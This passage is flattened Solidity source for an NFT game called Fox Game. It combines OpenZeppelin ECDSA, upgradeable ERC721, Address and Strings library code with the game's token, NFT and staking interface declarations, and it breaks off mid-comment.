`v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } /* ███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗ ██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝ █████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗ ██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IFoxGameNFTTraits { function tokenURI(uint16 tokenId) external view returns (string memory); } /* ███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗ ██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝ █████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗ ██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IFoxGameCarrot { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; } /* ███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗ ██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝ █████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗ ██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IFoxGameCrown { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; } /* ███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗ ██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝ █████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗ ██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IFoxGameNFT { enum Kind { RABBIT, FOX, HUNTER } enum Coin { CARROT, CROWN } struct Traits { Kind kind; uint8 advantage; uint8[7] traits; } function getMaxGEN0Players() external pure returns (uint16); function getTraits(uint16) external view returns (Traits memory); function ownerOf(uint256) external view returns (address owner); function transferFrom(address, address, uint256) external; function safeTransferFrom(address, address, uint256, bytes memory) external; } /* ███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗ ██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝ █████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗ ██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IFoxGame { function stakeTokens(address, uint16[] calldata) external; function randomFoxOwner(uint256) external view returns (address); function isValidMintSignature(address, uint8, uint32, uint256, bytes memory) external view returns (bool); function ownsBarrel(address) external view returns (bool); function getCorruptionEnabled() external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more 